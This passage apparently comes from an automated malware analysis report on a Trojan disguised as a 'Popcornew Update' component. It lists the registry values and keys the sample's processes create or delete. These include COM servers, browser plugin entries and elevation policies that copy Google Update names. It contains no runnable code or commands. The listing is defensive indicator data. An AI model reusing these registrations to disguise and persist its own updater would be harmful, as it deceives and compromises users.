"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{B14D2C5E-4B8A-4C67-BB4E-F1CF2C680AEC}]
"brand" = "GGLS"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PopcornewUpdate.exe]
"DisableExceptionChainValidation" = "0"

[HKCR\CLSID\{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}\InprocServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\npPopcornewUpdate3.dll"
"ThreadingModel" = "Apartment"

[HKCR\Popcornew.OneClickCtrl.9\CLSID]
"(Default)" = "{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}"

[HKCR\CLSID\{909F2E0D-650B-46B9-A27D-5A893BDDF58D}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\MIME\Database\Content Type\application/x-vnd.Popcornew.oneclickctrl.9]
"CLSID" = "{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}"

[HKCR\CLSID\{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}\ProgID]
"(Default)" = "Popcornew.OneClickCtrl.9"

[HKLM\SOFTWARE\Popcornew\Update\Clients\{B14D2C5E-4B8A-4C67-BB4E-F1CF2C680AEC}]
"pv" = "1.3.25.0"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{B14D2C5E-4B8A-4C67-BB4E-F1CF2C680AEC}]
"pv" = "1.3.25.0"
"client" = "138"

[HKCR\Popcornew.Update3WebControl.3]
"(Default)" = "Popcornew Update Plugin"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=9]
"Description" = "Popcornew Update"

[HKCR\Popcornew.OneClickCtrl.9]
"(Default)" = "Popcornew Update Plugin"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{909F2E0D-650B-46B9-A27D-5A893BDDF58D}]
"AppName" = "PopcornewUpdateBroker.exe"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BA D0 0E C5 E3 89 F7 93 20 D8 7E 36 A9 AB 4B C0"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=9]
"Path" = "%Program Files%\Popcornew\Update\1.3.25.0\npPopcornewUpdate3.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=3]
"Path" = "%Program Files%\Popcornew\Update\1.3.25.0\npPopcornewUpdate3.dll"

[HKCR\MIME\Database\Content Type\application/x-vnd.Popcornew.update3webcontrol.3]
"CLSID" = "{909F2E0D-650B-46B9-A27D-5A893BDDF58D}"

[HKCR\CLSID\{909F2E0D-650B-46B9-A27D-5A893BDDF58D}\InprocServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\npPopcornewUpdate3.dll"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}]
"AppPath" = "%Program Files%\Popcornew\Update"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=3]
"Version" = "3"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{B14D2C5E-4B8A-4C67-BB4E-F1CF2C680AEC}]
"InstallTime" = "1434736473"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"sk"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{B14D2C5E-4B8A-4C67-BB4E-F1CF2C680AEC}]
"UpdateAvailableSince"

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"c"

[HKLM\SOFTWARE\Popcornew\Update]
"eulaaccepted"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{B14D2C5E-4B8A-4C67-BB4E-F1CF2C680AEC}]
"UpdateAvailableCount"

[HKLM\SOFTWARE\Popcornew\Update]
"LastChecked"
"ui"
"uid"
"mi"

The process PopcornewUpdate.exe:1920 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BC 22 E6 1A 83 13 E2 22 3E B1 E3 D0 86 29 13 93"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Popcornew\Update]
"eulaaccepted"

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"sk"
"c"

The process PopcornewUpdate.exe:1112 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCR\PopcornewUpdate.CoreClass.1]
"(Default)" = "Google Update Core Class"

[HKCR\CLSID\{74DDBF4E-EC16-468A-A6F4-6C1D250A4EC9}]
"AppID" = "{6A700506-A641-475A-8538-44AEE2F45DD0}"
"(Default)" = "PopcornewUpdate Update3Web"

[HKCR\CLSID\{F930C6AB-C4F4-4CBC-97CB-49ED410F99CF}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.CoreClass"

[HKCR\PopcornewUpdate.Update3COMClassService.1.0]
"(Default)" = "Update3COMClass"

[HKCR\PopcornewUpdate.OnDemandCOMClassSvc\CurVer]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassSvc.1.0"

[HKCR\CLSID\{2BB27047-C938-4EBC-9158-6C84F1CC09D1}\ProgID]
"(Default)" = "PopcornewUpdate.Update3COMClassService.1.0"

[HKCR\PopcornewUpdate.CoreClass\CurVer]
"(Default)" = "PopcornewUpdate.CoreClass.1"

[HKCR\PopcornewUpdate.Update3WebSvc\CLSID]
"(Default)" = "{74DDBF4E-EC16-468A-A6F4-6C1D250A4EC9}"

[HKCR\CLSID\{F930C6AB-C4F4-4CBC-97CB-49ED410F99CF}]
"AppID" = "{6A700506-A641-475A-8538-44AEE2F45DD0}"

[HKCR\AppID\{6A700506-A641-475A-8538-44AEE2F45DD0}]
"LocalService" = "Popcornew_update_m"

[HKCR\AppID\PopcornewUpdate.exe]
"AppID" = "{2BB27047-C938-4EBC-9158-6C84F1CC09D1}"

[HKCR\PopcornewUpdate.Update3WebSvc]
"(Default)" = "PopcornewUpdate Update3Web"

[HKCR\CLSID\{6A700506-A641-475A-8538-44AEE2F45DD0}]
"AppID" = "{6A700506-A641-475A-8538-44AEE2F45DD0}"

[HKCR\PopcornewUpdate.OnDemandCOMClassSvc.1.0\CLSID]
"(Default)" = "{6A700506-A641-475A-8538-44AEE2F45DD0}"

[HKCR\CLSID\{6A700506-A641-475A-8538-44AEE2F45DD0}]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\CLSID\{2BB27047-C938-4EBC-9158-6C84F1CC09D1}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.Update3COMClassService"

[HKCR\CLSID\{6A700506-A641-475A-8538-44AEE2F45DD0}\ProgID]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassSvc.1.0"

[HKCR\CLSID\{74DDBF4E-EC16-468A-A6F4-6C1D250A4EC9}\ProgID]
"(Default)" = "PopcornewUpdate.Update3WebSvc.1.0"

[HKCR\CLSID\{F930C6AB-C4F4-4CBC-97CB-49ED410F99CF}]
"(Default)" = "Google Update Core Class"

[HKCR\CLSID\{2BB27047-C938-4EBC-9158-6C84F1CC09D1}]
"AppID" = "{2BB27047-C938-4EBC-9158-6C84F1CC09D1}"

[HKCR\PopcornewUpdate.Update3COMClassService]
"(Default)" = "Update3COMClass"

[HKCR\PopcornewUpdate.Update3COMClassService\CLSID]
"(Default)" = "{2BB27047-C938-4EBC-9158-6C84F1CC09D1}"

[HKCR\CLSID\{6A700506-A641-475A-8538-44AEE2F45DD0}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassSvc"

[HKCR\AppID\{2BB27047-C938-4EBC-9158-6C84F1CC09D1}]
"LocalService" = "Popcornew_update"

[HKCR\PopcornewUpdate.OnDemandCOMClassSvc.1.0]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\CLSID\{F930C6AB-C4F4-4CBC-97CB-49ED410F99CF}\ProgID]
"(Default)" = "PopcornewUpdate.CoreClass.1"

[HKCR\PopcornewUpdate.Update3COMClassService.1.0\CLSID]
"(Default)" = "{2BB27047-C938-4EBC-9158-6C84F1CC09D1}"

[HKCR\PopcornewUpdate.Update3WebSvc.1.0]
"(Default)" = "PopcornewUpdate Update3Web"

[HKCR\PopcornewUpdate.Update3COMClassService\CurVer]
"(Default)" = "PopcornewUpdate.Update3COMClassService.1.0"

[HKCR\PopcornewUpdate.OnDemandCOMClassSvc]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\PopcornewUpdate.Update3WebSvc\CurVer]
"(Default)" = "PopcornewUpdate.Update3WebSvc.1.0"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C6 4C 2B D0 88 C6 90 16 22 30 82 33 55 FA 8E B2"

[HKCR\CLSID\{74DDBF4E-EC16-468A-A6F4-6C1D250A4EC9}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.Update3WebSvc"

[HKCR\PopcornewUpdate.CoreClass.1\CLSID]
"(Default)" = "{F930C6AB-C4F4-4CBC-97CB-49ED410F99CF}"

[HKCR\AppID\{6A700506-A641-475A-8538-44AEE2F45DD0}]
"ServiceParameters" = "/comsvc"

[HKCR\PopcornewUpdate.CoreClass]
"(Default)" = "Google Update Core Class"

[HKCR\AppID\{6A700506-A641-475A-8538-44AEE2F45DD0}]
"(Default)" = "ServiceModule"

[HKCR\CLSID\{2BB27047-C938-4EBC-9158-6C84F1CC09D1}]
"(Default)" = "Update3COMClass"

[HKCR\PopcornewUpdate.CoreClass\CLSID]
"(Default)" = "{F930C6AB-C4F4-4CBC-97CB-49ED410F99CF}"

[HKCR\AppID\{2BB27047-C938-4EBC-9158-6C84F1CC09D1}]
"ServiceParameters" = "/comsvc"
"(Default)" = "ServiceModule"

[HKCR\PopcornewUpdate.Update3WebSvc.1.0\CLSID]
"(Default)" = "{74DDBF4E-EC16-468A-A6F4-6C1D250A4EC9}"

[HKCR\PopcornewUpdate.OnDemandCOMClassSvc\CLSID]
"(Default)" = "{6A700506-A641-475A-8538-44AEE2F45DD0}"

The Trojan deletes the following registry key(s):

[HKCR\AppID\PopcornewUpdate.exe]

The process PopcornewUpdate.exe:1252 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5E BE 72 5B 95 93 6A 82 17 2E 2D E0 29 9F 57 FF"

[HKCU\Software\Popcornew\Update\proxy]
"source" = "IE"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"sk"
"c"

The process PopcornewUpdate.exe:1384 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCR\PopcornewUpdate.CoreMachineClass\CLSID]
"(Default)" = "{0D692BF5-6C8C-4141-8C24-9CB731D78F75}"

[HKCR\CLSID\{FE97B593-B850-47EA-A787-977274C3B5B5}\ProgID]
"(Default)" = "PopcornewUpdate.Update3WebMachine.1.0"

[HKCR\Interface\{DDAC3A24-5C61-4ED6-9161-3248A4A3E239}\NumMethods]
"(Default)" = "10"

[HKCR\CLSID\{0D692BF5-6C8C-4141-8C24-9CB731D78F75}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.CoreMachineClass"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachineFallback\CurVer]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassMachineFallback.1.0"

[HKCR\Interface\{92C7CBA5-8948-44D6-8A87-998ECCFE24F4}\NumMethods]
"(Default)" = "4"

[HKCR\Popcornew.OneClickProcessLauncherMachine.1.0]
"(Default)" = "Popcornew.OneClickProcessLauncher"

[HKCR\PopcornewUpdate.ProcessLauncher.1.0\CLSID]
"(Default)" = "{EFD2925B-400E-4B47-8CC4-33EB2E3232F6}"

[HKCR\PopcornewUpdate.Update3WebMachine\CLSID]
"(Default)" = "{FE97B593-B850-47EA-A787-977274C3B5B5}"

[HKCR\Interface\{E5CE287D-C5C8-4DA3-A66F-5F78CD501BD5}]
"(Default)" = "ICoCreateAsyncStatus"

[HKCR\Interface\{49D20DEA-D609-42BE-A9E1-0673382F530D}]
"(Default)" = "IPackage"

[HKCR\PopcornewUpdate.CoreMachineClass.1]
"(Default)" = "Google Update Core Class"

[HKCR\Interface\{D76A79FC-8290-4B79-BABB-C0A2D584BA6E}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{7FB88587-9AA6-459D-B4BF-E8094DC46C02}]
"(Default)" = "IPopcornewUpdate"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachine.1.0]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\Interface\{DA6E3D04-1BE1-489C-94F4-1913F6130DA8}]
"(Default)" = "IProcessLauncher"

[HKCR\PopcornewUpdate.CoCreateAsync]
"(Default)" = "CoCreateAsync"

[HKCR\Interface\{97F85554-4DE1-4D54-86F1-E1273E0680EE}]
"(Default)" = "IJobObserver"

[HKCR\Popcornew.OneClickProcessLauncherMachine\CurVer]
"(Default)" = "Popcornew.OneClickProcessLauncherMachine.1.0"

[HKCR\Interface\{92C7CBA5-8948-44D6-8A87-998ECCFE24F4}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\PopcornewUpdate.CoreMachineClass\CurVer]
"(Default)" = "PopcornewUpdate.CoreMachineClass.1"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachine\CLSID]
"(Default)" = "{C0EE992D-B820-48A3-9339-363F5DA9545E}"

[HKCR\Interface\{F98FA5CB-A5B7-4836-8FB1-7317FD7FBA1A}]
"(Default)" = "IProgressWndEvents"

[HKCR\Interface\{D76A79FC-8290-4B79-BABB-C0A2D584BA6E}]
"(Default)" = "IAppBundle"

[HKCR\PopcornewUpdate.Update3WebMachine.1.0\CLSID]
"(Default)" = "{FE97B593-B850-47EA-A787-977274C3B5B5}"

[HKCR\Interface\{E5CE287D-C5C8-4DA3-A66F-5F78CD501BD5}\NumMethods]
"(Default)" = "10"

[HKCR\CLSID\{EFD2925B-400E-4B47-8CC4-33EB2E3232F6}\ProgID]
"(Default)" = "PopcornewUpdate.ProcessLauncher.1.0"

[HKCR\PopcornewUpdate.CoCreateAsync\CLSID]
"(Default)" = "{52A8C674-98FA-4A0A-9F64-C8B9D161FDC4}"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachine.1.0\CLSID]
"(Default)" = "{C0EE992D-B820-48A3-9339-363F5DA9545E}"

[HKCR\Interface\{6B8D4379-95D4-428D-8B3D-D5A655251CD0}\NumMethods]
"(Default)" = "4"

[HKCR\Popcornew.OneClickProcessLauncherMachine]
"(Default)" = "Popcornew.OneClickProcessLauncher"

[HKCR\PopcornewUpdate.CoCreateAsync\CurVer]
"(Default)" = "PopcornewUpdate.CoCreateAsync.1.0"

[HKCR\CLSID\{3DD579C6-640C-4873-9596-D5BD8ECB8E99}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe"

[HKCR\Interface\{49D20DEA-D609-42BE-A9E1-0673382F530D}\NumMethods]
"(Default)" = "10"

[HKCR\CLSID\{0D692BF5-6C8C-4141-8C24-9CB731D78F75}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe"

[HKCR\CLSID\{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe"

[HKCR\Interface\{FDDD22AC-8EEB-4615-9D22-E7BF00BBDF98}\NumMethods]
"(Default)" = "8"

[HKCR\PopcornewUpdate.Update3WebMachine\CurVer]
"(Default)" = "PopcornewUpdate.Update3WebMachine.1.0"

[HKCR\CLSID\{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}]
"LocalizedString" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-3000"

[HKCR\Popcornew.OneClickProcessLauncherMachine\CLSID]
"(Default)" = "{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}"

[HKCR\Interface\{E5CE287D-C5C8-4DA3-A66F-5F78CD501BD5}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{AB2D8F9B-2E9A-4996-964D-AD5F41B940B0}\NumMethods]
"(Default)" = "10"

[HKCR\Interface\{49D20DEA-D609-42BE-A9E1-0673382F530D}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\CLSID\{52A8C674-98FA-4A0A-9F64-C8B9D161FDC4}]
"(Default)" = "CoCreateAsync"

[HKCR\Interface\{083ABACD-BAF3-4AB7-A52C-32BAF0A44E6B}]
"(Default)" = "IAppBundleWeb"

[HKCR\CLSID\{C0EE992D-B820-48A3-9339-363F5DA9545E}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassMachine"

[HKCR\CLSID\{9892108A-038E-4D48-9D3C-D1E2A9B706EC}\InProcServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\psmachine.dll"

[HKCR\CLSID\{CBB4F1A5-E9FD-4207-9E0A-2106D5EA2B49}\InprocHandler32]
"ThreadingModel" = "Both"

[HKCR\Interface\{16BC6838-379D-47A7-BA04-6F94A8A6CD88}]
"(Default)" = "IOneClickProcessLauncher"

[HKCR\CLSID\{0D692BF5-6C8C-4141-8C24-9CB731D78F75}\Elevation]
"IconReference" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-1004"

[HKCR\Interface\{F38C5B49-653A-4AC0-9822-761201228D1C}]
"(Default)" = "IPopcornewUpdate3WebSecurity"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachine]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\PopcornewUpdate.Update3WebMachineFallback]
"(Default)" = "PopcornewUpdate Update3Web"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachineFallback]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachineFallback\CLSID]
"(Default)" = "{7081BB03-D2E6-4797-A2E7-C9EB331636C8}"

[HKCR\Interface\{94612B35-2B11-4D25-A19B-4DEB5FCFCEC7}]
"(Default)" = "ICurrentState"

[HKCR\CLSID\{FE97B593-B850-47EA-A787-977274C3B5B5}\Elevation]
"Enabled" = "1"

[HKCR\CLSID\{EFD2925B-400E-4B47-8CC4-33EB2E3232F6}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe"

[HKCR\CLSID\{0D692BF5-6C8C-4141-8C24-9CB731D78F75}]
"(Default)" = "Google Update Core Class"

[HKCR\CLSID\{52A8C674-98FA-4A0A-9F64-C8B9D161FDC4}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.CoCreateAsync"

[HKCR\Interface\{2C22389C-2E28-4770-B96C-01AC9FFF6A49}\NumMethods]
"(Default)" = "40"

[HKCR\Interface\{92C7CBA5-8948-44D6-8A87-998ECCFE24F4}]
"(Default)" = "IPopcornewUpdateCore"

[HKCR\CLSID\{7081BB03-D2E6-4797-A2E7-C9EB331636C8}\ProgID]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassMachineFallback.1.0"

[HKCR\CLSID\{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}\ProgID]
"(Default)" = "PopcornewUpdate.Update3WebMachineFallback.1.0"

[HKCR\Interface\{DEDFF457-8AA4-48A4-8A37-DC4ACA6133D2}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{AB2D8F9B-2E9A-4996-964D-AD5F41B940B0}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{94612B35-2B11-4D25-A19B-4DEB5FCFCEC7}\NumMethods]
"(Default)" = "24"

[HKCR\Interface\{3B455781-2C9A-4A5F-97BD-18CD9FB621F1}\NumMethods]
"(Default)" = "14"

[HKCR\CLSID\{CBB4F1A5-E9FD-4207-9E0A-2106D5EA2B49}\InprocHandler32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\psmachine.dll"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}]
"CLSID" = "{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}"

[HKCR\CLSID\{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.Update3WebMachineFallback"

[HKCR\CLSID\{7081BB03-D2E6-4797-A2E7-C9EB331636C8}\Elevation]
"IconReference" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-1004"

[HKCR\Popcornew.OneClickProcessLauncherMachine.1.0\CLSID]
"(Default)" = "{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}"

[HKCR\PopcornewUpdate.ProcessLauncher\CurVer]
"(Default)" = "PopcornewUpdate.ProcessLauncher.1.0"

[HKCR\Interface\{F98FA5CB-A5B7-4836-8FB1-7317FD7FBA1A}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachineFallback.1.0\CLSID]
"(Default)" = "{7081BB03-D2E6-4797-A2E7-C9EB331636C8}"

[HKCR\Interface\{AB2D8F9B-2E9A-4996-964D-AD5F41B940B0}]
"(Default)" = "IPopcornewUpdate3"

[HKCR\CLSID\{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}]
"(Default)" = "PopcornewUpdate Update3Web"

[HKCR\Interface\{6B8D4379-95D4-428D-8B3D-D5A655251CD0}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\CLSID\{C0EE992D-B820-48A3-9339-363F5DA9545E}]
"LocalizedString" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-3000"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6E 50 34 FF 29 90 08 ED FD 12 4B 7B D6 1F C6 A7"

[HKCR\Interface\{F98FA5CB-A5B7-4836-8FB1-7317FD7FBA1A}\NumMethods]
"(Default)" = "9"

[HKCR\Interface\{97F85554-4DE1-4D54-86F1-E1273E0680EE}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\PopcornewUpdate.CoCreateAsync.1.0]
"(Default)" = "CoCreateAsync"

[HKCR\Interface\{91231829-C94F-497E-85B7-4A9ED7C8A2E4}\NumMethods]
"(Default)" = "8"

[HKCR\Interface\{DEDFF457-8AA4-48A4-8A37-DC4ACA6133D2}\NumMethods]
"(Default)" = "10"

[HKCR\Interface\{083ABACD-BAF3-4AB7-A52C-32BAF0A44E6B}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{DDAC3A24-5C61-4ED6-9161-3248A4A3E239}]
"(Default)" = "IAppVersion"

[HKCR\CLSID\{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}\Elevation]
"Enabled" = "1"

[HKCR\Interface\{2C22389C-2E28-4770-B96C-01AC9FFF6A49}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\PopcornewUpdate.Update3WebMachineFallback\CLSID]
"(Default)" = "{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}"

[HKCR\CLSID\{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateBroker.exe"

[HKCR\Interface\{D76A79FC-8290-4B79-BABB-C0A2D584BA6E}\NumMethods]
"(Default)" = "39"

[HKCR\CLSID\{C0EE992D-B820-48A3-9339-363F5DA9545E}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateBroker.exe"

[HKCR\Interface\{2C22389C-2E28-4770-B96C-01AC9FFF6A49}]
"(Default)" = "IApp"

[HKCR\Interface\{DA6E3D04-1BE1-489C-94F4-1913F6130DA8}\NumMethods]
"(Default)" = "6"

[HKCR\PopcornewUpdate.CredentialDialogMachine\CurVer]
"(Default)" = "PopcornewUpdate.CredentialDialogMachine.1.0"

[HKCR\CLSID\{0F840CB3-F4B0-4746-9211-94E5372FBD05}\InprocServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\psmachine.dll"

[HKCR\CLSID\{52A8C674-98FA-4A0A-9F64-C8B9D161FDC4}\ProgID]
"(Default)" = "PopcornewUpdate.CoCreateAsync.1.0"

[HKCR\PopcornewUpdate.CredentialDialogMachine.1.0]
"(Default)" = "PopcornewUpdate CredentialDialog"

[HKCR\Interface\{FDDD22AC-8EEB-4615-9D22-E7BF00BBDF98}]
"(Default)" = "IRegistrationUpdateHook"

[HKCR\Interface\{083ABACD-BAF3-4AB7-A52C-32BAF0A44E6B}\NumMethods]
"(Default)" = "24"

[HKCR\PopcornewUpdate.Update3WebMachineFallback.1.0]
"(Default)" = "PopcornewUpdate Update3Web"

[HKCR\CLSID\{3DD579C6-640C-4873-9596-D5BD8ECB8E99}\ProgID]
"(Default)" = "PopcornewUpdate.CredentialDialogMachine.1.0"

[HKCR\Interface\{F38C5B49-653A-4AC0-9822-761201228D1C}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\CLSID\{7081BB03-D2E6-4797-A2E7-C9EB331636C8}]
"LocalizedString" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-3000"

[HKCR\CLSID\{FE97B593-B850-47EA-A787-977274C3B5B5}]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\CLSID\{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}\ProgID]
"(Default)" = "Popcornew.OneClickProcessLauncherMachine.1.0"

[HKCR\CLSID\{3DD579C6-640C-4873-9596-D5BD8ECB8E99}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.CredentialDialogMachine"

[HKCR\CLSID\{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}\VersionIndependentProgID]
"(Default)" = "Popcornew.OneClickProcessLauncherMachine"

[HKCR\CLSID\{7081BB03-D2E6-4797-A2E7-C9EB331636C8}\Elevation]
"Enabled" = "1"

[HKCR\Interface\{DEDFF457-8AA4-48A4-8A37-DC4ACA6133D2}]
"(Default)" = "IAppVersionWeb"

[HKCR\Interface\{7FB88587-9AA6-459D-B4BF-E8094DC46C02}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{DA6E3D04-1BE1-489C-94F4-1913F6130DA8}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{DF8EBF99-BB5B-4A47-880A-F73B2AA99C61}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{3B455781-2C9A-4A5F-97BD-18CD9FB621F1}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\PopcornewUpdate.ProcessLauncher]
"(Default)" = "Google Update Process Launcher Class"

[HKCR\CLSID\{3DD579C6-640C-4873-9596-D5BD8ECB8E99}]
"(Default)" = "PopcornewUpdate CredentialDialog"

[HKCR\PopcornewUpdate.Update3WebMachineFallback\CurVer]
"(Default)" = "PopcornewUpdate.Update3WebMachineFallback.1.0"

[HKCR\PopcornewUpdate.CoCreateAsync.1.0\CLSID]
"(Default)" = "{52A8C674-98FA-4A0A-9F64-C8B9D161FDC4}"

[HKCR\CLSID\{C0EE992D-B820-48A3-9339-363F5DA9545E}\Elevation]
"Enabled" = "1"

[HKCR\PopcornewUpdate.ProcessLauncher\CLSID]
"(Default)" = "{EFD2925B-400E-4B47-8CC4-33EB2E3232F6}"

[HKCR\Interface\{F38C5B49-653A-4AC0-9822-761201228D1C}\NumMethods]
"(Default)" = "4"

[HKCR\PopcornewUpdate.CoreMachineClass]
"(Default)" = "Google Update Core Class"

[HKCR\CLSID\{0D692BF5-6C8C-4141-8C24-9CB731D78F75}\ProgID]
"(Default)" = "PopcornewUpdate.CoreMachineClass.1"

[HKCR\Interface\{DF8EBF99-BB5B-4A47-880A-F73B2AA99C61}\NumMethods]
"(Default)" = "4"

[HKCR\CLSID\{FE97B593-B850-47EA-A787-977274C3B5B5}]
"LocalizedString" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-3000"

[HKCR\CLSID\{C0EE992D-B820-48A3-9339-363F5DA9545E}\Elevation]
"IconReference" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-1004"

[HKCR\Interface\{97F85554-4DE1-4D54-86F1-E1273E0680EE}\NumMethods]
"(Default)" = "13"

[HKCR\PopcornewUpdate.CredentialDialogMachine]
"(Default)" = "PopcornewUpdate CredentialDialog"

